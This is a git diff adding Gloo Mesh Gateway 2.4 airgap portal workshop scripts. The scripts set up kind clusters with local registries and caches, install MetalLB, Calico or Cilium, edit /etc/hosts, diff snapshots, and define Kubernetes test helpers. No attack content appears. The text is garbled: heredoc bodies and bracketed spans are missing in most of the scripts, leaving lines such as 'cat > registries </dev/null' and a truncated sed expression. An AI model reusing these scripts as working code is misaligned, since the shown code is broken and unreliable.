'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-4/airgap/portal/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-4/airgap/portal/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-4/airgap/portal/scripts/register-domain.sh b/gloo-mesh/gateway/2-4/airgap/portal/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-4/airgap/portal/scripts/snapdiff.sh b/gloo-mesh/gateway/2-4/airgap/portal/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-4/airgap/portal/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/tests/chai-exec.js b/gloo-mesh/gateway/2-4/airgap/portal/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + 